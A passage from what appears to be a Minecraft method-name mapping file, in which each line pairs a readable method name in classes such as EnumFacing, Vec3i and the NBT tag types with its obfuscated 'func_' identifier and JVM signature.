()I +MD: net/minecraft/util/EnumFacing/getName2 ()Ljava/lang/String; net/minecraft/util/EnumFacing/func_176742_j ()Ljava/lang/String; +MD: net/minecraft/util/EnumFacing/getAxis ()Lnet/minecraft/util/EnumFacing$Axis; net/minecraft/util/EnumFacing/func_176740_k ()Lnet/minecraft/util/EnumFacing$Axis; +MD: net/minecraft/util/EnumFacing/getName ()Ljava/lang/String; net/minecraft/util/EnumFacing/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/util/EnumFacing/getDirectionVec ()Lnet/minecraft/util/Vec3i; net/minecraft/util/EnumFacing/func_176730_m ()Lnet/minecraft/util/Vec3i; +MD: net/minecraft/util/EnumFacing/rotateX ()Lnet/minecraft/util/EnumFacing; net/minecraft/util/EnumFacing/func_176744_n ()Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/util/EnumFacing/rotateZ ()Lnet/minecraft/util/EnumFacing; net/minecraft/util/EnumFacing/func_176738_p ()Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/util/EnumFacing/toString ()Ljava/lang/String; net/minecraft/util/EnumFacing/toString ()Ljava/lang/String; +MD: net/minecraft/util/EnumFacing/values ()[Lnet/minecraft/util/EnumFacing; net/minecraft/util/EnumFacing/values ()[Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/dispenser/IBehaviorDispenseItem$1/dispense (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/dispenser/IBehaviorDispenseItem$1/func_82482_a (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/dispenser/IBehaviorDispenseItem/dispense (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/dispenser/IBehaviorDispenseItem/func_82482_a (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/util/ObjectIntIdentityMap/getByValue (I)Ljava/lang/Object; net/minecraft/util/ObjectIntIdentityMap/func_148745_a (I)Ljava/lang/Object; +MD: net/minecraft/util/ObjectIntIdentityMap/put (Ljava/lang/Object;I)V net/minecraft/util/ObjectIntIdentityMap/func_148746_a (Ljava/lang/Object;I)V +MD: net/minecraft/util/ObjectIntIdentityMap/get (Ljava/lang/Object;)I net/minecraft/util/ObjectIntIdentityMap/func_148747_b (Ljava/lang/Object;)I +MD: net/minecraft/util/ObjectIntIdentityMap/iterator ()Ljava/util/Iterator; net/minecraft/util/ObjectIntIdentityMap/iterator ()Ljava/util/Iterator; +MD: net/minecraft/dispenser/ILocation/getWorld ()Lnet/minecraft/world/World; net/minecraft/dispenser/ILocation/func_82618_k ()Lnet/minecraft/world/World; +MD: net/minecraft/util/MapPopulator/populateMap (Ljava/lang/Iterable;Ljava/lang/Iterable;Ljava/util/Map;)Ljava/util/Map; net/minecraft/util/MapPopulator/func_179399_a (Ljava/lang/Iterable;Ljava/lang/Iterable;Ljava/util/Map;)Ljava/util/Map; +MD: net/minecraft/util/MapPopulator/createMap (Ljava/lang/Iterable;Ljava/lang/Iterable;)Ljava/util/Map; net/minecraft/util/MapPopulator/func_179400_b (Ljava/lang/Iterable;Ljava/lang/Iterable;)Ljava/util/Map; +MD: net/minecraft/util/RegistryNamespaced/getObjectById (I)Ljava/lang/Object; net/minecraft/util/RegistryNamespaced/func_148754_a (I)Ljava/lang/Object; +MD: net/minecraft/util/RegistryNamespaced/register (ILjava/lang/Object;Ljava/lang/Object;)V net/minecraft/util/RegistryNamespaced/func_177775_a (ILjava/lang/Object;Ljava/lang/Object;)V +MD: net/minecraft/util/RegistryNamespaced/getObject (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/util/RegistryNamespaced/func_82594_a (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/util/RegistryNamespaced/createUnderlyingMap ()Ljava/util/Map; net/minecraft/util/RegistryNamespaced/func_148740_a ()Ljava/util/Map; +MD: net/minecraft/util/RegistryNamespaced/getIDForObject (Ljava/lang/Object;)I net/minecraft/util/RegistryNamespaced/func_148757_b (Ljava/lang/Object;)I +MD: net/minecraft/util/RegistryNamespaced/getNameForObject (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/util/RegistryNamespaced/func_177774_c (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/util/RegistryNamespaced/containsKey (Ljava/lang/Object;)Z net/minecraft/util/RegistryNamespaced/func_148741_d (Ljava/lang/Object;)Z +MD: net/minecraft/util/RegistryNamespaced/iterator ()Ljava/util/Iterator; net/minecraft/util/RegistryNamespaced/iterator ()Ljava/util/Iterator; +MD: net/minecraft/util/EnumParticleTypes/getParticleNames ()[Ljava/lang/String; net/minecraft/util/EnumParticleTypes/func_179349_a ()[Ljava/lang/String; +MD: net/minecraft/util/EnumParticleTypes/getParticleFromId (I)Lnet/minecraft/util/EnumParticleTypes; net/minecraft/util/EnumParticleTypes/func_179342_a (I)Lnet/minecraft/util/EnumParticleTypes; +MD: net/minecraft/util/EnumParticleTypes/getParticleName ()Ljava/lang/String; net/minecraft/util/EnumParticleTypes/func_179346_b ()Ljava/lang/String; +MD: net/minecraft/util/EnumParticleTypes/getParticleID ()I net/minecraft/util/EnumParticleTypes/func_179348_c ()I +MD: net/minecraft/util/EnumParticleTypes/getArgumentCount ()I net/minecraft/util/EnumParticleTypes/func_179345_d ()I +MD: net/minecraft/util/EnumParticleTypes/getShouldIgnoreRange ()Z net/minecraft/util/EnumParticleTypes/func_179344_e ()Z +MD: net/minecraft/util/EnumParticleTypes/hasArguments ()Z net/minecraft/util/EnumParticleTypes/func_179343_f ()Z +MD: net/minecraft/util/EnumParticleTypes/values ()[Lnet/minecraft/util/EnumParticleTypes; net/minecraft/util/EnumParticleTypes/values ()[Lnet/minecraft/util/EnumParticleTypes; +MD: net/minecraft/dispenser/IPosition/getX ()D net/minecraft/dispenser/IPosition/func_82615_a ()D +MD: net/minecraft/dispenser/IPosition/getY ()D net/minecraft/dispenser/IPosition/func_82617_b ()D +MD: net/minecraft/dispenser/IPosition/getZ ()D net/minecraft/dispenser/IPosition/func_82616_c ()D +MD: net/minecraft/dispenser/PositionImpl/getX ()D net/minecraft/dispenser/PositionImpl/func_82615_a ()D +MD: net/minecraft/dispenser/PositionImpl/getY ()D net/minecraft/dispenser/PositionImpl/func_82617_b ()D +MD: net/minecraft/dispenser/PositionImpl/getZ ()D net/minecraft/dispenser/PositionImpl/func_82616_c ()D +MD: net/minecraft/util/IRegistry/getObject (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/util/IRegistry/func_82594_a (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/util/IRegistry/putObject (Ljava/lang/Object;Ljava/lang/Object;)V net/minecraft/util/IRegistry/func_82595_a (Ljava/lang/Object;Ljava/lang/Object;)V +MD: net/minecraft/util/Rotations/writeToNBT ()Lnet/minecraft/nbt/NBTTagList; net/minecraft/util/Rotations/func_179414_a ()Lnet/minecraft/nbt/NBTTagList; +MD: net/minecraft/util/Rotations/getX ()F net/minecraft/util/Rotations/func_179415_b ()F +MD: net/minecraft/util/Rotations/getY ()F net/minecraft/util/Rotations/func_179416_c ()F +MD: net/minecraft/util/Rotations/getZ ()F net/minecraft/util/Rotations/func_179413_d ()F +MD: net/minecraft/util/Rotations/equals (Ljava/lang/Object;)Z net/minecraft/util/Rotations/equals (Ljava/lang/Object;)Z +MD: net/minecraft/util/RegistrySimple/getObject (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/util/RegistrySimple/func_82594_a (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/util/RegistrySimple/putObject (Ljava/lang/Object;Ljava/lang/Object;)V net/minecraft/util/RegistrySimple/func_82595_a (Ljava/lang/Object;Ljava/lang/Object;)V +MD: net/minecraft/util/RegistrySimple/createUnderlyingMap ()Ljava/util/Map; net/minecraft/util/RegistrySimple/func_148740_a ()Ljava/util/Map; +MD: net/minecraft/util/RegistrySimple/getKeys ()Ljava/util/Set; net/minecraft/util/RegistrySimple/func_148742_b ()Ljava/util/Set; +MD: net/minecraft/util/RegistrySimple/containsKey (Ljava/lang/Object;)Z net/minecraft/util/RegistrySimple/func_148741_d (Ljava/lang/Object;)Z +MD: net/minecraft/util/RegistrySimple/iterator ()Ljava/util/Iterator; net/minecraft/util/RegistrySimple/iterator ()Ljava/util/Iterator; +MD: net/minecraft/util/Vec3i/distanceSq (DDD)D net/minecraft/util/Vec3i/func_177954_c (DDD)D +MD: net/minecraft/util/Vec3i/compareTo (Ljava/lang/Object;)I net/minecraft/util/Vec3i/compareTo (Ljava/lang/Object;)I +MD: net/minecraft/util/Vec3i/distanceSqToCenter (DDD)D net/minecraft/util/Vec3i/func_177957_d (DDD)D +MD: net/minecraft/util/Vec3i/crossProduct (Lnet/minecraft/util/Vec3i;)Lnet/minecraft/util/Vec3i; net/minecraft/util/Vec3i/func_177955_d (Lnet/minecraft/util/Vec3i;)Lnet/minecraft/util/Vec3i; +MD: net/minecraft/util/Vec3i/equals (Ljava/lang/Object;)Z net/minecraft/util/Vec3i/equals (Ljava/lang/Object;)Z +MD: net/minecraft/util/Vec3i/compareTo (Lnet/minecraft/util/Vec3i;)I net/minecraft/util/Vec3i/compareTo (Lnet/minecraft/util/Vec3i;)I +MD: net/minecraft/util/Vec3i/hashCode ()I net/minecraft/util/Vec3i/hashCode ()I +MD: net/minecraft/util/Vec3i/distanceSq (Lnet/minecraft/util/Vec3i;)D net/minecraft/util/Vec3i/func_177951_i (Lnet/minecraft/util/Vec3i;)D +MD: net/minecraft/util/Vec3i/getX ()I net/minecraft/util/Vec3i/func_177958_n ()I +MD: net/minecraft/util/Vec3i/getY ()I net/minecraft/util/Vec3i/func_177956_o ()I +MD: net/minecraft/util/Vec3i/getZ ()I net/minecraft/util/Vec3i/func_177952_p ()I +MD: net/minecraft/util/Vec3i/toString ()Ljava/lang/String; net/minecraft/util/Vec3i/toString ()Ljava/lang/String; +MD: net/minecraft/util/StatCollector/getLastTranslationUpdateTimeInMilliseconds ()J net/minecraft/util/StatCollector/func_150827_a ()J +MD: net/minecraft/util/StatCollector/translateToLocal (Ljava/lang/String;)Ljava/lang/String; net/minecraft/util/StatCollector/func_74838_a (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/util/StatCollector/translateToLocalFormatted (Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; net/minecraft/util/StatCollector/func_74837_a (Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; +MD: net/minecraft/util/StatCollector/translateToFallback (Ljava/lang/String;)Ljava/lang/String; net/minecraft/util/StatCollector/func_150826_b (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/util/StatCollector/canTranslate (Ljava/lang/String;)Z net/minecraft/util/StatCollector/func_94522_b (Ljava/lang/String;)Z +MD: net/minecraft/util/StringTranslate/getInstance ()Lnet/minecraft/util/StringTranslate; net/minecraft/util/StringTranslate/func_74808_a ()Lnet/minecraft/util/StringTranslate; +MD: net/minecraft/util/StringTranslate/translateKey (Ljava/lang/String;)Ljava/lang/String; net/minecraft/util/StringTranslate/func_74805_b (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/util/StringTranslate/translateKeyFormat (Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; net/minecraft/util/StringTranslate/func_74803_a (Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; +MD: net/minecraft/util/StringTranslate/replaceWith (Ljava/util/Map;)V net/minecraft/util/StringTranslate/func_135063_a (Ljava/util/Map;)V +MD: net/minecraft/util/StringTranslate/isKeyTranslated (Ljava/lang/String;)Z net/minecraft/util/StringTranslate/func_94520_b (Ljava/lang/String;)Z +MD: net/minecraft/util/StringTranslate/getLastUpdateTimeInMilliseconds ()J net/minecraft/util/StringTranslate/func_150510_c ()J +MD: net/minecraft/util/StringTranslate/tryTranslateKey (Ljava/lang/String;)Ljava/lang/String; net/minecraft/util/StringTranslate/func_135064_c (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagByteArray/getId ()B net/minecraft/nbt/NBTTagByteArray/func_74732_a ()B +MD: net/minecraft/nbt/NBTTagByteArray/read (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V net/minecraft/nbt/NBTTagByteArray/func_152446_a (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V +MD: net/minecraft/nbt/NBTTagByteArray/write (Ljava/io/DataOutput;)V net/minecraft/nbt/NBTTagByteArray/func_74734_a (Ljava/io/DataOutput;)V +MD: net/minecraft/nbt/NBTTagByteArray/copy ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTTagByteArray/func_74737_b ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTTagByteArray/getByteArray ()[B net/minecraft/nbt/NBTTagByteArray/func_150292_c ()[B +MD: net/minecraft/nbt/NBTTagByteArray/equals (Ljava/lang/Object;)Z net/minecraft/nbt/NBTTagByteArray/equals (Ljava/lang/Object;)Z +MD: net/minecraft/nbt/NBTTagByteArray/hashCode ()I net/minecraft/nbt/NBTTagByteArray/hashCode ()I +MD: net/minecraft/nbt/NBTTagByteArray/toString ()Ljava/lang/String; net/minecraft/nbt/NBTTagByteArray/toString ()Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagByte/getId ()B net/minecraft/nbt/NBTTagByte/func_74732_a ()B +MD: net/minecraft/nbt/NBTTagByte/read (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V net/minecraft/nbt/NBTTagByte/func_152446_a (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V +MD: net/minecraft/nbt/NBTTagByte/write (Ljava/io/DataOutput;)V net/minecraft/nbt/NBTTagByte/func_74734_a (Ljava/io/DataOutput;)V +MD: net/minecraft/nbt/NBTTagByte/copy ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTTagByte/func_74737_b ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTTagByte/getLong ()J net/minecraft/nbt/NBTTagByte/func_150291_c ()J +MD: net/minecraft/nbt/NBTTagByte/getInt ()I net/minecraft/nbt/NBTTagByte/func_150287_d ()I +MD: net/minecraft/nbt/NBTTagByte/getShort ()S net/minecraft/nbt/NBTTagByte/func_150289_e ()S +MD: net/minecraft/nbt/NBTTagByte/equals (Ljava/lang/Object;)Z net/minecraft/nbt/NBTTagByte/equals (Ljava/lang/Object;)Z +MD: net/minecraft/nbt/NBTTagByte/getByte ()B net/minecraft/nbt/NBTTagByte/func_150290_f ()B +MD: net/minecraft/nbt/NBTTagByte/getDouble ()D net/minecraft/nbt/NBTTagByte/func_150286_g ()D +MD: net/minecraft/nbt/NBTTagByte/getFloat ()F net/minecraft/nbt/NBTTagByte/func_150288_h ()F +MD: net/minecraft/nbt/NBTTagByte/hashCode ()I net/minecraft/nbt/NBTTagByte/hashCode ()I +MD: net/minecraft/nbt/NBTTagByte/toString ()Ljava/lang/String; net/minecraft/nbt/NBTTagByte/toString ()Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagCompound$1/call ()Ljava/lang/String; net/minecraft/nbt/NBTTagCompound$1/call ()Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagCompound$1/call ()Ljava/lang/Object; net/minecraft/nbt/NBTTagCompound$1/call ()Ljava/lang/Object; +MD: net/minecraft/nbt/NBTTagCompound$2/call ()Ljava/lang/String; net/minecraft/nbt/NBTTagCompound$2/call ()Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagCompound$2/call ()Ljava/lang/Object; net/minecraft/nbt/NBTTagCompound$2/call ()Ljava/lang/Object; +MD: net/minecraft/nbt/NBTTagCompound/getId ()B net/minecraft/nbt/NBTTagCompound/func_74732_a ()B +MD: net/minecraft/nbt/NBTTagCompound/readNBT (BLjava/lang/String;Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTTagCompound/func_152449_a (BLjava/lang/String;Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTTagCompound/merge (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/nbt/NBTTagCompound/func_179237_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/nbt/NBTTagCompound/read (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V net/minecraft/nbt/NBTTagCompound/func_152446_a (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V +MD: net/minecraft/nbt/NBTTagCompound/readType (Ljava/io/DataInput;Lnet/minecraft/nbt/NBTSizeTracker;)B net/minecraft/nbt/NBTTagCompound/func_152447_a (Ljava/io/DataInput;Lnet/minecraft/nbt/NBTSizeTracker;)B +MD: net/minecraft/nbt/NBTTagCompound/write (Ljava/io/DataOutput;)V net/minecraft/nbt/NBTTagCompound/func_74734_a (Ljava/io/DataOutput;)V +MD: net/minecraft/nbt/NBTTagCompound/getTag (Ljava/lang/String;)Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTTagCompound/func_74781_a (Ljava/lang/String;)Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTTagCompound/setByte (Ljava/lang/String;B)V net/minecraft/nbt/NBTTagCompound/func_74774_a (Ljava/lang/String;B)V +MD: net/minecraft/nbt/NBTTagCompound/setDouble (Ljava/lang/String;D)V net/minecraft/nbt/NBTTagCompound/func_74780_a (Ljava/lang/String;D)V +MD: net/minecraft/nbt/NBTTagCompound/setFloat (Ljava/lang/String;F)V net/minecraft/nbt/NBTTagCompound/func_74776_a (Ljava/lang/String;F)V +MD: net/minecraft/nbt/NBTTagCompound/setInteger (Ljava/lang/String;I)V net/minecraft/nbt/NBTTagCompound/func_74768_a (Ljava/lang/String;I)V +MD: net/minecraft/nbt/NBTTagCompound/createCrashReport (Ljava/lang/String;ILjava/lang/ClassCastException;)Lnet/minecraft/crash/CrashReport; net/minecraft/nbt/NBTTagCompound/func_82581_a (Ljava/lang/String;ILjava/lang/ClassCastException;)Lnet/minecraft/crash/CrashReport; +MD: net/minecraft/nbt/NBTTagCompound/setLong (Ljava/lang/String;J)V net/minecraft/nbt/NBTTagCompound/func_74772_a (Ljava/lang/String;J)V +MD: net/minecraft/nbt/NBTTagCompound/setTag (Ljava/lang/String;Lnet/minecraft/nbt/NBTBase;)V net/minecraft/nbt/NBTTagCompound/func_74782_a (Ljava/lang/String;Lnet/minecraft/nbt/NBTBase;)V +MD: net/minecraft/nbt/NBTTagCompound/writeEntry (Ljava/lang/String;Lnet/minecraft/nbt/NBTBase;Ljava/io/DataOutput;)V net/minecraft/nbt/NBTTagCompound/func_150298_a (Ljava/lang/String;Lnet/minecraft/nbt/NBTBase;Ljava/io/DataOutput;)V +MD: net/minecraft/nbt/NBTTagCompound/setString (Ljava/lang/String;Ljava/lang/String;)V net/minecraft/nbt/NBTTagCompound/func_74778_a (Ljava/lang/String;Ljava/lang/String;)V +MD: net/minecraft/nbt/NBTTagCompound/setShort (Ljava/lang/String;S)V net/minecraft/nbt/NBTTagCompound/func_74777_a (Ljava/lang/String;S)V +MD: net/minecraft/nbt/NBTTagCompound/setBoolean (Ljava/lang/String;Z)V net/minecraft/nbt/NBTTagCompound/func_74757_a (Ljava/lang/String;Z)V +MD: net/minecraft/nbt/NBTTagCompound/setByteArray (Ljava/lang/String;[B)V net/minecraft/nbt/NBTTagCompound/func_74773_a (Ljava/lang/String;[B)V +MD: net/minecraft/nbt/NBTTagCompound/setIntArray (Ljava/lang/String;[I)V net/minecraft/nbt/NBTTagCompound/func_74783_a (Ljava/lang/String;[I)V +MD: net/minecraft/nbt/NBTTagCompound/copy ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTTagCompound/func_74737_b ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTTagCompound/access$000 (Lnet/minecraft/nbt/NBTTagCompound;)Ljava/util/Map; net/minecraft/nbt/NBTTagCompound/access$000 (Lnet/minecraft/nbt/NBTTagCompound;)Ljava/util/Map; +MD: net/minecraft/nbt/NBTTagCompound/readKey (Ljava/io/DataInput;Lnet/minecraft/nbt/NBTSizeTracker;)Ljava/lang/String; net/minecraft/nbt/NBTTagCompound/func_152448_b (Ljava/io/DataInput;Lnet/minecraft/nbt/NBTSizeTracker;)Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagCompound/getTagId (Ljava/lang/String;)B net/minecraft/nbt/NBTTagCompound/func_150299_b (Ljava/lang/String;)B +MD: net/minecraft/nbt/NBTTagCompound/hasKey (Ljava/lang/String;I)Z net/minecraft/nbt/NBTTagCompound/func_150297_b (Ljava/lang/String;I)Z +MD: net/minecraft/nbt/NBTTagCompound/getKeySet ()Ljava/util/Set; net/minecraft/nbt/NBTTagCompound/func_150296_c ()Ljava/util/Set; +MD: net/minecraft/nbt/NBTTagCompound/hasKey (Ljava/lang/String;)Z net/minecraft/nbt/NBTTagCompound/func_74764_b (Ljava/lang/String;)Z +MD: net/minecraft/nbt/NBTTagCompound/getTagList (Ljava/lang/String;I)Lnet/minecraft/nbt/NBTTagList; net/minecraft/nbt/NBTTagCompound/func_150295_c (Ljava/lang/String;I)Lnet/minecraft/nbt/NBTTagList; +MD: net/minecraft/nbt/NBTTagCompound/hasNoTags ()Z net/minecraft/nbt/NBTTagCompound/func_82582_d ()Z +MD: net/minecraft/nbt/NBTTagCompound/getByte (Ljava/lang/String;)B net/minecraft/nbt/NBTTagCompound/func_74771_c (Ljava/lang/String;)B +MD: net/minecraft/nbt/NBTTagCompound/getShort (Ljava/lang/String;)S net/minecraft/nbt/NBTTagCompound/func_74765_d (Ljava/lang/String;)S +MD: net/minecraft/nbt/NBTTagCompound/equals (Ljava/lang/Object;)Z net/minecraft/nbt/NBTTagCompound/equals (Ljava/lang/Object;)Z +MD: net/minecraft/nbt/NBTTagCompound/getInteger (Ljava/lang/String;)I net/minecraft/nbt/NBTTagCompound/func_74762_e (Ljava/lang/String;)I +MD: net/minecraft/nbt/NBTTagCompound/getLong (Ljava/lang/String;)J net/minecraft/nbt/NBTTagCompound/func_74763_f (Ljava/lang/String;)J +MD: net/minecraft/nbt/NBTTagCompound/getFloat (Ljava/lang/String;)F net/minecraft/nbt/NBTTagCompound/func_74760_g (Ljava/lang/String;)F +MD: net/minecraft/nbt/NBTTagCompound/hashCode ()I net/minecraft/nbt/NBTTagCompound/hashCode ()I +MD: net/minecraft/nbt/NBTTagCompound/getDouble (Ljava/lang/String;)D net/minecraft/nbt/NBTTagCompound/func_74769_h (Ljava/lang/String;)D +MD: net/minecraft/nbt/NBTTagCompound/getString (Ljava/lang/String;)Ljava/lang/String; net/minecraft/nbt/NBTTagCompound/func_74779_i (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagCompound/getByteArray (Ljava/lang/String;)[B net/minecraft/nbt/NBTTagCompound/func_74770_j (Ljava/lang/String;)[B +MD: net/minecraft/nbt/NBTTagCompound/getIntArray (Ljava/lang/String;)[I net/minecraft/nbt/NBTTagCompound/func_74759_k (Ljava/lang/String;)[I +MD: net/minecraft/nbt/NBTTagCompound/getCompoundTag (Ljava/lang/String;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/nbt/NBTTagCompound/func_74775_l (Ljava/lang/String;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/nbt/NBTTagCompound/getBoolean (Ljava/lang/String;)Z net/minecraft/nbt/NBTTagCompound/func_74767_n (Ljava/lang/String;)Z +MD: net/minecraft/nbt/NBTTagCompound/removeTag (Ljava/lang/String;)V net/minecraft/nbt/NBTTagCompound/func_82580_o (Ljava/lang/String;)V +MD: net/minecraft/nbt/NBTTagCompound/toString ()Ljava/lang/String; net/minecraft/nbt/NBTTagCompound/toString ()Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagDouble/getId ()B net/minecraft/nbt/NBTTagDouble/func_74732_a ()B +MD: net/minecraft/nbt/NBTTagDouble/read (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V net/minecraft/nbt/NBTTagDouble/func_152446_a (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V +MD: net/minecraft/nbt/NBTTagDouble/write (Ljava/io/DataOutput;)V net/minecraft/nbt/NBTTagDouble/func_74734_a (Ljava/io/DataOutput;)V +MD: net/minecraft/nbt/NBTTagDouble/copy ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTTagDouble/func_74737_b ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTTagDouble/getLong ()J net/minecraft/nbt/NBTTagDouble/func_150291_c ()J +MD: net/minecraft/nbt/NBTTagDouble/getInt ()I net/minecraft/nbt/NBTTagDouble/func_150287_d ()I +MD: net/minecraft/nbt/NBTTagDouble/getShort ()S net/minecraft/nbt/NBTTagDouble/func_150289_e ()S +MD: net/minecraft/nbt/NBTTagDouble/equals (Ljava/lang/Object;)Z net/minecraft/nbt/NBTTagDouble/equals (Ljava/lang/Object;)Z +MD: net/minecraft/nbt/NBTTagDouble/getByte ()B net/minecraft/nbt/NBTTagDouble/func_150290_f ()B +MD: net/minecraft/nbt/NBTTagDouble/getDouble ()D net/minecraft/nbt/NBTTagDouble/func_150286_g ()D +MD: net/minecraft/nbt/NBTTagDouble/getFloat ()F net/minecraft/nbt/NBTTagDouble/func_150288_h ()F +MD: net/minecraft/nbt/NBTTagDouble/hashCode ()I net/minecraft/nbt/NBTTagDouble/hashCode ()I +MD: net/minecraft/nbt/NBTTagDouble/toString ()Ljava/lang/String; net/minecraft/nbt/NBTTagDouble/toString ()Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagEnd/getId ()B net/minecraft/nbt/NBTTagEnd/func_74732_a ()B +MD: net/minecraft/nbt/NBTTagEnd/read (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V net/minecraft/nbt/NBTTagEnd/func_152446_a (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V +MD: net/minecraft/nbt/NBTTagEnd/write (Ljava/io/DataOutput;)V net/minecraft/nbt/NBTTagEnd/func_74734_a (Ljava/io/DataOutput;)V +MD: net/minecraft/nbt/NBTTagEnd/copy ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTTagEnd/func_74737_b ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTTagEnd/toString ()Ljava/lang/String; net/minecraft/nbt/NBTTagEnd/toString ()Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagFloat/getId ()B net/minecraft/nbt/NBTTagFloat/func_74732_a ()B +MD: net/minecraft/nbt/NBTTagFloat/read (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V net/minecraft/nbt/NBTTagFloat/func_152446_a (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V +MD: net/minecraft/nbt/NBTTagFloat/write (Ljava/io/DataOutput;)V net/minecraft/nbt/NBTTagFloat/func_74734_a (Ljava/io/DataOutput;)V +MD: net/minecraft/nbt/NBTTagFloat/copy ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTTagFloat/func_74737_b ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTTagFloat/getLong ()J net/minecraft/nbt/NBTTagFloat/func_150291_c ()J +MD: net/minecraft/nbt/NBTTagFloat/getInt ()I net/minecraft/nbt/NBTTagFloat/func_150287_d ()I +MD: net/minecraft/nbt/NBTTagFloat/getShort ()S net/minecraft/nbt/NBTTagFloat/func_150289_e ()S +MD: net/minecraft/nbt/NBTTagFloat/equals (Ljava/lang/Object;)Z net/minecraft/nbt/NBTTagFloat/equals (Ljava/lang/Object;)Z +MD: net/minecraft/nbt/NBTTagFloat/getByte ()B net/minecraft/nbt/NBTTagFloat/func_150290_f ()B +MD: net/minecraft/nbt/NBTTagFloat/getDouble ()D net/minecraft/nbt/NBTTagFloat/func_150286_g ()D +MD: net/minecraft/nbt/NBTTagFloat/getFloat ()F net/minecraft/nbt/NBTTagFloat/func_150288_h ()F +MD: net/minecraft/nbt/NBTTagFloat/hashCode ()I net/minecraft/nbt/NBTTagFloat/hashCode ()I +MD: net/minecraft/nbt/NBTTagFloat/toString ()Ljava/lang/String; net/minecraft/nbt/NBTTagFloat/toString ()Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagIntArray/getId ()B net/minecraft/nbt/NBTTagIntArray/func_74732_a ()B +MD: net/minecraft/nbt/NBTTagIntArray/read (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V net/minecraft/nbt/NBTTagIntArray/func_152446_a (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V +MD: net/minecraft/nbt/NBTTagIntArray/write (Ljava/io/DataOutput;)V net/minecraft/nbt/NBTTagIntArray/func_74734_a (Ljava/io/DataOutput;)V +MD: net/minecraft/nbt/NBTTagIntArray/copy ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTTagIntArray/func_74737_b ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTTagIntArray/getIntArray ()[I net/minecraft/nbt/NBTTagIntArray/func_150302_c ()[I +MD: net/minecraft/nbt/NBTTagIntArray/equals (Ljava/lang/Object;)Z net/minecraft/nbt/NBTTagIntArray/equals 